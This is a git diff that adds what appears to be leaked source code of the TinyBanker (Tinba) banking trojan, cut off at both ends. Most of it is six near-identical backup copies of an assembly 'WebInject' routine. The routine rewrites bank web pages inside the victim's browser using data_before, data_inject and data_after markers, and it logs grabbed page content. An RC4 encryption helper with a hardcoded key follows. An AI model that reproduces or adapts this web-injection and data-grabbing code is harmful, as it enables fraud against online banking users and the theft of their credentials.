mov eax, lpInjEnd + sub eax, lpDataBeforePtr + invokx &StrIPos[ebx], lpDataBeforePtr, eax, "\ndata_before\n", 13 + jmpz eax, @NextInject ;; data_before not found inside this inject + add eax, 13 + mov lpDataBeforePtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataBeforePtr + jge @F + xor eax, eax +@@: mov dwDataBeforeLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataInjectPtr + invokx &StrIPos[ebx], lpDataInjectPtr, eax, "\ndata_inject\n", 13 + jmpz eax, @NextInject ;; data_inject not found inside this inject + add eax, 13 + mov lpDataInjectPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataInjectPtr + jge @F + xor eax, eax +@@: mov dwDataInjectLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataAfterPtr + invokx &StrIPos[ebx], lpDataAfterPtr, eax, "\ndata_after\n", 12 + jmpz eax, @NextInject ;; data_after not found inside this inject + add eax, 12 + mov lpDataAfterPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataAfterPtr + jge @F + xor eax, eax +@@: mov dwDataAfterLen, eax + + +;; ================================================== ;; + + mov esi, lpPageBuff + mov ecx, [esi] ;; page len + add esi, 4 ;; page start + lea edi, [esi+ecx] ;; page end + + + cmp dwDataBeforeLen, 0 + je @F + invokx &StrIPosEx[ebx], esi, ecx, lpDataBeforePtr, dwDataBeforeLen + jmpz eax, @NextSubInj ;; data_before not found inside this page + mov esi, ecx ;; ptr to data_inject place begin + + +@@: mov edx, esi ;; ptr to data_inject place end, or... + cmp dwDataAfterLen, 0 + je @F + mov eax, edi + sub eax, esi + invokx &StrIPosEx[ebx], esi, eax, lpDataAfterPtr, dwDataAfterLen + jmpz eax, @NextSubInj ;; data_after not found inside this page + mov edx, eax ;; ptr to data_inject place end + + +@@: xor eax, eax + .if dwDataAfterLen == eax + .if dwDataInjectLen == eax + mov edi, esi + .endif + .else + .if dwDataInjectLen != eax + .if dwDataBeforeLen == eax + mov esi, edx + .endif + .endif + .endif + + +;; ================================================== ;; + + invokx &StrIPos[ebx], lpInjPtr, lpOptLen, "L", 1 + jmpz eax, @shift + + + mov eax, edx + sub eax, esi + jmpz eax, @shift + invokx &InLog[ebx], esi, eax, INJECT_GRABBED + + + jmp @NextSubInj + + +;; ================================================== ;; +@shift: + ;; shift data + mov eax, esi + add eax, dwDataInjectLen + cmp eax, edx + je @F ;; shift not need + mov ecx, edi + sub ecx, edx ;; data len + lea edi, [eax+ecx] ;; new page end + invokx &strcpyn[ebx], eax, edx, ecx + + + ;; inject +@@: cmp dwDataInjectLen, 0 + je @F ;; inject not need + invokx &strcpyn[ebx], esi, lpDataInjectPtr, dwDataInjectLen + + +@@: mov esi, lpPageBuff + sub edi, esi + sub edi, 4 ;; page len + mov [esi], edi ;; set new len + + + jmp @NextSubInj + + +@ret: + popad + ret +WebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(2).inc new file mode 100644 index 0000000..b1b92c8 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(2).inc @@ -0,0 +1,197 @@ + +.code + +;; ==================================================================================================== ;; +;; WebInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpPageBuff - pointer to buffer with page for inject (len in first dword) ;; +;; ==================================================================================================== ;; +WebInject proc dwHandle, lpPageBuff : dword + local lpInjPtr : dword + local lpOptLen : dword + local lpInjEnd : dword + local lpInjEOF : dword + local lpDataBeforePtr : dword + local dwDataBeforeLen : dword + local lpDataInjectPtr : dword + local dwDataInjectLen : dword + local lpDataAfterPtr : dword + local dwDataAfterLen : dword + + + + pushad + mov eax, lpWebInjectsData[ebx] + jmpz eax, @ret ;; webinjects data not exist + mov ecx, [eax] ;; webinjects len + add eax, 4 + add ecx, eax + mov lpInjPtr, eax ;; webinject begin ptr + mov lpInjEOF, ecx ;; webinjects end ptr + + +@NextInject: + invokx &GetInject[ebx], dwHandle, lpInjPtr + jmpz eax, @ret ;; no more webinjects for this connection + mov lpInjPtr, eax ;; current webinject ptr (ptr to options) + mov lpOptLen, ecx ;; options len + + + mov eax, lpInjEOF + sub eax, lpInjPtr + invokx &StrIPos[ebx], lpInjPtr, eax, "\nset_url ", 9 + jmpnz eax, @F + mov eax, lpInjEOF +@@: mov lpInjEnd, eax ;; webinject end ptr + + +;; ================================================== ;; + + mov eax, lpInjPtr + mov lpDataBeforePtr, eax + mov lpDataInjectPtr, eax + mov lpDataAfterPtr, eax + + +@NextSubInj: + mov eax, lpInjEnd + sub eax, lpDataBeforePtr + invokx &StrIPos[ebx], lpDataBeforePtr, eax, "\ndata_before\n", 13 + jmpz eax, @NextInject ;; data_before not found inside this inject + add eax, 13 + mov lpDataBeforePtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataBeforePtr + jge @F + xor eax, eax +@@: mov dwDataBeforeLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataInjectPtr + invokx &StrIPos[ebx], lpDataInjectPtr, eax, "\ndata_inject\n", 13 + jmpz eax, @NextInject ;; data_inject not found inside this inject + add eax, 13 + mov lpDataInjectPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataInjectPtr + jge @F + xor eax, eax +@@: mov dwDataInjectLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataAfterPtr + invokx &StrIPos[ebx], lpDataAfterPtr, eax, "\ndata_after\n", 12 + jmpz eax, @NextInject ;; data_after not found inside this inject + add eax, 12 + mov lpDataAfterPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataAfterPtr + jge @F + xor eax, eax +@@: mov dwDataAfterLen, eax + + +;; ================================================== ;; + + mov esi, lpPageBuff + mov ecx, [esi] ;; page len + add esi, 4 ;; page start + lea edi, [esi+ecx] ;; page end + + + cmp dwDataBeforeLen, 0 + je @F + invokx &StrIPosEx[ebx], esi, ecx, lpDataBeforePtr, dwDataBeforeLen + jmpz eax, @NextSubInj ;; data_before not found inside this page + mov esi, ecx ;; ptr to data_inject place begin + + +@@: mov edx, esi ;; ptr to data_inject place end, or... + cmp dwDataAfterLen, 0 + je @F + mov eax, edi + sub eax, esi + invokx &StrIPosEx[ebx], esi, eax, lpDataAfterPtr, dwDataAfterLen + jmpz eax, @NextSubInj ;; data_after not found inside this page + mov edx, eax ;; ptr to data_inject place end + + +@@: xor eax, eax + .if dwDataAfterLen == eax + .if dwDataInjectLen == eax + mov edi, esi + .endif + .else + .if dwDataInjectLen != eax + .if dwDataBeforeLen == eax + mov esi, edx + .endif + .endif + .endif + + +;; ================================================== ;; + + invokx &StrIPos[ebx], lpInjPtr, lpOptLen, "L", 1 + jmpz eax, @shift + + + mov eax, edx + sub eax, esi + jmpz eax, @shift + invokx &InLog[ebx], esi, eax, INJECT_GRABBED + + + jmp @NextSubInj + + +;; ================================================== ;; +@shift: + ;; shift data + mov eax, esi + add eax, dwDataInjectLen + cmp eax, edx + je @F ;; shift not need + mov ecx, edi + sub ecx, edx ;; data len + lea edi, [eax+ecx] ;; new page end + invokx &strcpyn[ebx], eax, edx, ecx + + + ;; inject +@@: cmp dwDataInjectLen, 0 + je @F ;; inject not need + invokx &strcpyn[ebx], esi, lpDataInjectPtr, dwDataInjectLen + + +@@: mov esi, lpPageBuff + sub edi, esi + sub edi, 4 ;; page len + mov [esi], edi ;; set new len + + + jmp @NextSubInj + + +@ret: + popad + ret +WebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(3).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(3).inc new file mode 100644 index 0000000..4bffc8a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(3).inc @@ -0,0 +1,197 @@ + +.code + +;; ==================================================================================================== ;; +;; WebInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpPageBuff - pointer to buffer with page for inject (len in first dword) ;; +;; ==================================================================================================== ;; +WebInject proc dwHandle, lpPageBuff : dword + local lpInjPtr : dword + local lpOptLen : dword + local lpInjEnd : dword + local lpInjEOF : dword + local lpDataBeforePtr : dword + local dwDataBeforeLen : dword + local lpDataInjectPtr : dword + local dwDataInjectLen : dword + local lpDataAfterPtr : dword + local dwDataAfterLen : dword + + + + pushad + mov eax, lpWebInjectsData[ebx] + jmpz eax, @ret ;; webinjects data not exist + mov ecx, [eax] ;; webinjects len + add eax, 4 + add ecx, eax + mov lpInjPtr, eax ;; webinject begin ptr + mov lpInjEOF, ecx ;; webinjects end ptr + + +@NextInject: + invokx &GetInject[ebx], dwHandle, lpInjPtr + jmpz eax, @ret ;; no more webinjects for this connection + mov lpInjPtr, eax ;; current webinject ptr (ptr to options) + mov lpOptLen, ecx ;; options len + + + mov eax, lpInjEOF + sub eax, lpInjPtr + invokx &StrIPos[ebx], lpInjPtr, eax, "\nset_url ", 9 + jmpnz eax, @F + mov eax, lpInjEOF +@@: mov lpInjEnd, eax ;; webinject end ptr + + +;; ================================================== ;; + + mov eax, lpInjPtr + mov lpDataBeforePtr, eax + mov lpDataInjectPtr, eax + mov lpDataAfterPtr, eax + + +@NextSubInj: + mov eax, lpInjEnd + sub eax, lpDataBeforePtr + invokx &StrIPos[ebx], lpDataBeforePtr, eax, "\ndata_before\n", 13 + jmpz eax, @NextInject ;; data_before not found inside this inject + add eax, 13 + mov lpDataBeforePtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataBeforePtr + jge @F + xor eax, eax +@@: mov dwDataBeforeLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataInjectPtr + invokx &StrIPos[ebx], lpDataInjectPtr, eax, "\ndata_inject\n", 15 + jmpz eax, @NextInject ;; data_inject not found inside this inject + add eax, 15 + mov lpDataInjectPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataInjectPtr + jge @F + xor eax, eax +@@: mov dwDataInjectLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataAfterPtr + invokx &StrIPos[ebx], lpDataAfterPtr, eax, "\r\ndata_after\r\n", 14 + jmpz eax, @NextInject ;; data_after not found inside this inject + add eax, 14 + mov lpDataAfterPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataAfterPtr + jge @F + xor eax, eax +@@: mov dwDataAfterLen, eax + + +;; ================================================== ;; + + mov esi, lpPageBuff + mov ecx, [esi] ;; page len + add esi, 4 ;; page start + lea edi, [esi+ecx] ;; page end + + + cmp dwDataBeforeLen, 0 + je @F + invokx &StrIPosEx[ebx], esi, ecx, lpDataBeforePtr, dwDataBeforeLen + jmpz eax, @NextSubInj ;; data_before not found inside this page + mov esi, ecx ;; ptr to data_inject place begin + + +@@: mov edx, esi ;; ptr to data_inject place end, or... + cmp dwDataAfterLen, 0 + je @F + mov eax, edi + sub eax, esi + invokx &StrIPosEx[ebx], esi, eax, lpDataAfterPtr, dwDataAfterLen + jmpz eax, @NextSubInj ;; data_after not found inside this page + mov edx, eax ;; ptr to data_inject place end + + +@@: xor eax, eax + .if dwDataAfterLen == eax + .if dwDataInjectLen == eax + mov edi, esi + .endif + .else + .if dwDataInjectLen != eax + .if dwDataBeforeLen == eax + mov esi, edx + .endif + .endif + .endif + + +;; ================================================== ;; + + invokx &StrIPos[ebx], lpInjPtr, lpOptLen, "L", 1 + jmpz eax, @shift + + + mov eax, edx + sub eax, esi + jmpz eax, @shift + invokx &InLog[ebx], esi, eax, INJECT_GRABBED + + + jmp @NextSubInj + + +;; ================================================== ;; +@shift: + ;; shift data + mov eax, esi + add eax, dwDataInjectLen + cmp eax, edx + je @F ;; shift not need + mov ecx, edi + sub ecx, edx ;; data len + lea edi, [eax+ecx] ;; new page end + invokx &strcpyn[ebx], eax, edx, ecx + + + ;; inject +@@: cmp dwDataInjectLen, 0 + je @F ;; inject not need + invokx &strcpyn[ebx], esi, lpDataInjectPtr, dwDataInjectLen + + +@@: mov esi, lpPageBuff + sub edi, esi + sub edi, 4 ;; page len + mov [esi], edi ;; set new len + + + jmp @NextSubInj + + +@ret: + popad + ret +WebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(4).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(4).inc new file mode 100644 index 0000000..8a32939 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(4).inc @@ -0,0 +1,197 @@ + +.code + +;; ==================================================================================================== ;; +;; WebInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpPageBuff - pointer to buffer with page for inject (len in first dword) ;; +;; ==================================================================================================== ;; +WebInject proc dwHandle, lpPageBuff : dword + local lpInjPtr : dword + local lpOptLen : dword + local lpInjEnd : dword + local lpInjEOF : dword + local lpDataBeforePtr : dword + local dwDataBeforeLen : dword + local lpDataInjectPtr : dword + local dwDataInjectLen : dword + local lpDataAfterPtr : dword + local dwDataAfterLen : dword + + + + pushad + mov eax, lpWebInjectsData[ebx] + jmpz eax, @ret ;; webinjects data not exist + mov ecx, [eax] ;; webinjects len + add eax, 4 + add ecx, eax + mov lpInjPtr, eax ;; webinject begin ptr + mov lpInjEOF, ecx ;; webinjects end ptr + + +@NextInject: + invokx &GetInject[ebx], dwHandle, lpInjPtr + jmpz eax, @ret ;; no more webinjects for this connection + mov lpInjPtr, eax ;; current webinject ptr (ptr to options) + mov lpOptLen, ecx ;; options len + + + mov eax, lpInjEOF + sub eax, lpInjPtr + invokx &StrIPos[ebx], lpInjPtr, eax, "\nset_url ", 9 + jmpnz eax, @F + mov eax, lpInjEOF +@@: mov lpInjEnd, eax ;; webinject end ptr + + +;; ================================================== ;; + + mov eax, lpInjPtr + mov lpDataBeforePtr, eax + mov lpDataInjectPtr, eax + mov lpDataAfterPtr, eax + + +@NextSubInj: + mov eax, lpInjEnd + sub eax, lpDataBeforePtr + invokx &StrIPos[ebx], lpDataBeforePtr, eax, "\ndata_before\n", 13 + jmpz eax, @NextInject ;; data_before not found inside this inject + add eax, 13 + mov lpDataBeforePtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataBeforePtr + jge @F + xor eax, eax +@@: mov dwDataBeforeLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataInjectPtr + invokx &StrIPos[ebx], lpDataInjectPtr, eax, "\r\ndata_inject\r\n", 15 + jmpz eax, @NextInject ;; data_inject not found inside this inject + add eax, 15 + mov lpDataInjectPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataInjectPtr + jge @F + xor eax, eax +@@: mov dwDataInjectLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataAfterPtr + invokx &StrIPos[ebx], lpDataAfterPtr, eax, "\r\ndata_after\r\n", 14 + jmpz eax, @NextInject ;; data_after not found inside this inject + add eax, 14 + mov lpDataAfterPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataAfterPtr + jge @F + xor eax, eax +@@: mov dwDataAfterLen, eax + + +;; ================================================== ;; + + mov esi, lpPageBuff + mov ecx, [esi] ;; page len + add esi, 4 ;; page start + lea edi, [esi+ecx] ;; page end + + + cmp dwDataBeforeLen, 0 + je @F + invokx &StrIPosEx[ebx], esi, ecx, lpDataBeforePtr, dwDataBeforeLen + jmpz eax, @NextSubInj ;; data_before not found inside this page + mov esi, ecx ;; ptr to data_inject place begin + + +@@: mov edx, esi ;; ptr to data_inject place end, or... + cmp dwDataAfterLen, 0 + je @F + mov eax, edi + sub eax, esi + invokx &StrIPosEx[ebx], esi, eax, lpDataAfterPtr, dwDataAfterLen + jmpz eax, @NextSubInj ;; data_after not found inside this page + mov edx, eax ;; ptr to data_inject place end + + +@@: xor eax, eax + .if dwDataAfterLen == eax + .if dwDataInjectLen == eax + mov edi, esi + .endif + .else + .if dwDataInjectLen != eax + .if dwDataBeforeLen == eax + mov esi, edx + .endif + .endif + .endif + + +;; ================================================== ;; + + invokx &StrIPos[ebx], lpInjPtr, lpOptLen, "L", 1 + jmpz eax, @shift + + + mov eax, edx + sub eax, esi + jmpz eax, @shift + invokx &InLog[ebx], esi, eax, INJECT_GRABBED + + + jmp @NextSubInj + + +;; ================================================== ;; +@shift: + ;; shift data + mov eax, esi + add eax, dwDataInjectLen + cmp eax, edx + je @F ;; shift not need + mov ecx, edi + sub ecx, edx ;; data len + lea edi, [eax+ecx] ;; new page end + invokx &strcpyn[ebx], eax, edx, ecx + + + ;; inject +@@: cmp dwDataInjectLen, 0 + je @F ;; inject not need + invokx &strcpyn[ebx], esi, lpDataInjectPtr, dwDataInjectLen + + +@@: mov esi, lpPageBuff + sub edi, esi + sub edi, 4 ;; page len + mov [esi], edi ;; set new len + + + jmp @NextSubInj + + +@ret: + popad + ret +WebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(5).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(5).inc new file mode 100644 index 0000000..26cfced --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(5).inc @@ -0,0 +1,197 @@ + +.code + +;; ==================================================================================================== ;; +;; WebInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpPageBuff - pointer to buffer with page for inject (len in first dword) ;; +;; ==================================================================================================== ;; +WebInject proc dwHandle, lpPageBuff : dword + local lpInjPtr : dword + local lpOptLen : dword + local lpInjEnd : dword + local lpInjEOF : dword + local lpDataBeforePtr : dword + local dwDataBeforeLen : dword + local lpDataInjectPtr : dword + local dwDataInjectLen : dword + local lpDataAfterPtr : dword + local dwDataAfterLen : dword + + + + pushad + mov eax, lpWebInjectsData[ebx] + jmpz eax, @ret ;; webinjects data not exist + mov ecx, [eax] ;; webinjects len + add eax, 4 + add ecx, eax + mov lpInjPtr, eax ;; webinject begin ptr + mov lpInjEOF, ecx ;; webinjects end ptr + + +@NextInject: + invokx &GetInject[ebx], dwHandle, lpInjPtr + jmpz eax, @ret ;; no more webinjects for this connection + mov lpInjPtr, eax ;; current webinject ptr (ptr to options) + mov lpOptLen, ecx ;; options len + + + mov eax, lpInjEOF + sub eax, lpInjPtr + invokx &StrIPos[ebx], lpInjPtr, eax, "\nset_url ", 9 + jmpnz eax, @F + mov eax, lpInjEOF +@@: mov lpInjEnd, eax ;; webinject end ptr + + +;; ================================================== ;; + + mov eax, lpInjPtr + mov lpDataBeforePtr, eax + mov lpDataInjectPtr, eax + mov lpDataAfterPtr, eax + + +@NextSubInj: + mov eax, lpInjEnd + sub eax, lpDataBeforePtr + invokx &StrIPos[ebx], lpDataBeforePtr, eax, "\r\ndata_before\r\n", 15 + jmpz eax, @NextInject ;; data_before not found inside this inject + add eax, 15 + mov lpDataBeforePtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataBeforePtr + jge @F + xor eax, eax +@@: mov dwDataBeforeLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataInjectPtr + invokx &StrIPos[ebx], lpDataInjectPtr, eax, "\r\ndata_inject\r\n", 15 + jmpz eax, @NextInject ;; data_inject not found inside this inject + add eax, 15 + mov lpDataInjectPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataInjectPtr + jge @F + xor eax, eax +@@: mov dwDataInjectLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataAfterPtr + invokx &StrIPos[ebx], lpDataAfterPtr, eax, "\r\ndata_after\r\n", 14 + jmpz eax, @NextInject ;; data_after not found inside this inject + add eax, 14 + mov lpDataAfterPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataAfterPtr + jge @F + xor eax, eax +@@: mov dwDataAfterLen, eax + + +;; ================================================== ;; + + mov esi, lpPageBuff + mov ecx, [esi] ;; page len + add esi, 4 ;; page start + lea edi, [esi+ecx] ;; page end + + + cmp dwDataBeforeLen, 0 + je @F + invokx &StrIPosEx[ebx], esi, ecx, lpDataBeforePtr, dwDataBeforeLen + jmpz eax, @NextSubInj ;; data_before not found inside this page + mov esi, ecx ;; ptr to data_inject place begin + + +@@: mov edx, esi ;; ptr to data_inject place end, or... + cmp dwDataAfterLen, 0 + je @F + mov eax, edi + sub eax, esi + invokx &StrIPosEx[ebx], esi, eax, lpDataAfterPtr, dwDataAfterLen + jmpz eax, @NextSubInj ;; data_after not found inside this page + mov edx, eax ;; ptr to data_inject place end + + +@@: xor eax, eax + .if dwDataAfterLen == eax + .if dwDataInjectLen == eax + mov edi, esi + .endif + .else + .if dwDataInjectLen != eax + .if dwDataBeforeLen == eax + mov esi, edx + .endif + .endif + .endif + + +;; ================================================== ;; + + invokx &StrIPos[ebx], lpInjPtr, lpOptLen, "L", 1 + jmpz eax, @shift + + + mov eax, edx + sub eax, esi + jmpz eax, @shift + invokx &InLog[ebx], esi, eax, INJECT_GRABBED + + + jmp @NextSubInj + + +;; ================================================== ;; +@shift: + ;; shift data + mov eax, esi + add eax, dwDataInjectLen + cmp eax, edx + je @F ;; shift not need + mov ecx, edi + sub ecx, edx ;; data len + lea edi, [eax+ecx] ;; new page end + invokx &strcpyn[ebx], eax, edx, ecx + + + ;; inject +@@: cmp dwDataInjectLen, 0 + je @F ;; inject not need + invokx &strcpyn[ebx], esi, lpDataInjectPtr, dwDataInjectLen + + +@@: mov esi, lpPageBuff + sub edi, esi + sub edi, 4 ;; page len + mov [esi], edi ;; set new len + + + jmp @NextSubInj + + +@ret: + popad + ret +WebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(6).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(6).inc new file mode 100644 index 0000000..4481b6f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/WebInject(6).inc @@ -0,0 +1,197 @@ + +.code + +;; ==================================================================================================== ;; +;; WebInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpPageBuff - pointer to buffer with page for inject (len in first dword) ;; +;; ==================================================================================================== ;; +WebInject proc dwHandle, lpPageBuff : dword + local lpInjPtr : dword + local lpOptLen : dword + local lpInjEnd : dword + local lpInjEOF : dword + local lpDataBeforePtr : dword + local dwDataBeforeLen : dword + local lpDataInjectPtr : dword + local dwDataInjectLen : dword + local lpDataAfterPtr : dword + local dwDataAfterLen : dword + + + + pushad + mov eax, lpWebInjectsData[ebx] + jmpz eax, @ret ;; webinjects data not exist + mov ecx, [eax] ;; webinjects len + add eax, 4 + add ecx, eax + mov lpInjPtr, eax ;; webinject begin ptr + mov lpInjEOF, ecx ;; webinjects end ptr + + +@NextInject: + invokx &GetInject[ebx], dwHandle, lpInjPtr + jmpz eax, @ret ;; no more webinjects for this connection + mov lpInjPtr, eax ;; current webinject ptr (ptr to options) + mov lpOptLen, ecx ;; options len + + + mov eax, lpInjEOF + sub eax, lpInjPtr + invokx &StrIPos[ebx], lpInjPtr, eax, "\r\nset_url ", 10 + jmpnz eax, @F + mov eax, lpInjEOF +@@: mov lpInjEnd, eax ;; webinject end ptr + + +;; ================================================== ;; + + mov eax, lpInjPtr + mov lpDataBeforePtr, eax + mov lpDataInjectPtr, eax + mov lpDataAfterPtr, eax + + +@NextSubInj: + mov eax, lpInjEnd + sub eax, lpDataBeforePtr + invokx &StrIPos[ebx], lpDataBeforePtr, eax, "\r\ndata_before\r\n", 15 + jmpz eax, @NextInject ;; data_before not found inside this inject + add eax, 15 + mov lpDataBeforePtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataBeforePtr + jge @F + xor eax, eax +@@: mov dwDataBeforeLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataInjectPtr + invokx &StrIPos[ebx], lpDataInjectPtr, eax, "\r\ndata_inject\r\n", 15 + jmpz eax, @NextInject ;; data_inject not found inside this inject + add eax, 15 + mov lpDataInjectPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataInjectPtr + jge @F + xor eax, eax +@@: mov dwDataInjectLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataAfterPtr + invokx &StrIPos[ebx], lpDataAfterPtr, eax, "\r\ndata_after\r\n", 14 + jmpz eax, @NextInject ;; data_after not found inside this inject + add eax, 14 + mov lpDataAfterPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\r\ndata_end\r\n", 12 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataAfterPtr + jge @F + xor eax, eax +@@: mov dwDataAfterLen, eax + + +;; ================================================== ;; + + mov esi, lpPageBuff + mov ecx, [esi] ;; page len + add esi, 4 ;; page start + lea edi, [esi+ecx] ;; page end + + + cmp dwDataBeforeLen, 0 + je @F + invokx &StrIPosEx[ebx], esi, ecx, lpDataBeforePtr, dwDataBeforeLen + jmpz eax, @NextSubInj ;; data_before not found inside this page + mov esi, ecx ;; ptr to data_inject place begin + + +@@: mov edx, esi ;; ptr to data_inject place end, or... + cmp dwDataAfterLen, 0 + je @F + mov eax, edi + sub eax, esi + invokx &StrIPosEx[ebx], esi, eax, lpDataAfterPtr, dwDataAfterLen + jmpz eax, @NextSubInj ;; data_after not found inside this page + mov edx, eax ;; ptr to data_inject place end + + +@@: xor eax, eax + .if dwDataAfterLen == eax + .if dwDataInjectLen == eax + mov edi, esi + .endif + .else + .if dwDataInjectLen != eax + .if dwDataBeforeLen == eax + mov esi, edx + .endif + .endif + .endif + + +;; ================================================== ;; + + invokx &StrIPos[ebx], lpInjPtr, lpOptLen, "L", 1 + jmpz eax, @shift + + + mov eax, edx + sub eax, esi + jmpz eax, @shift + invokx &InLog[ebx], esi, eax, INJECT_GRABBED + + + jmp @NextSubInj + + +;; ================================================== ;; +@shift: + ;; shift data + mov eax, esi + add eax, dwDataInjectLen + cmp eax, edx + je @F ;; shift not need + mov ecx, edi + sub ecx, edx ;; data len + lea edi, [eax+ecx] ;; new page end + invokx &strcpyn[ebx], eax, edx, ecx + + + ;; inject +@@: cmp dwDataInjectLen, 0 + je @F ;; inject not need + invokx &strcpyn[ebx], esi, lpDataInjectPtr, dwDataInjectLen + + +@@: mov esi, lpPageBuff + sub edi, esi + sub edi, 4 ;; page len + mov [esi], edi ;; set new len + + + jmp @NextSubInj + + +@ret: + popad + ret +WebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Crypt/Crypt.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Crypt/Crypt.inc new file mode 100644 index 0000000..7424c3f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Crypt/Crypt.inc @@ -0,0 +1,22 @@ + +.code + +;; ==================================================================================================== ;; +;; Crypt ;; +;; ==================================================================================================== ;; +Crypt proc lpData, dwLen : dword + local dwlpKeyTable : dword + + + + invokx _VirtualAlloc[ebx], 0, 256, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + mov dwlpKeyTable, eax + + invokx &RC4SetKey[ebx], dwlpKeyTable, &sPassword[ebx], sizeof sPassword + invokx &RC4Crypt[ebx], dwlpKeyTable, lpData, dwLen + + invokx _VirtualFree[ebx], dwlpKeyTable, 0, MEM_RELEASE + + ret +Crypt endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Crypt/rc4.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Crypt/rc4.inc new file mode 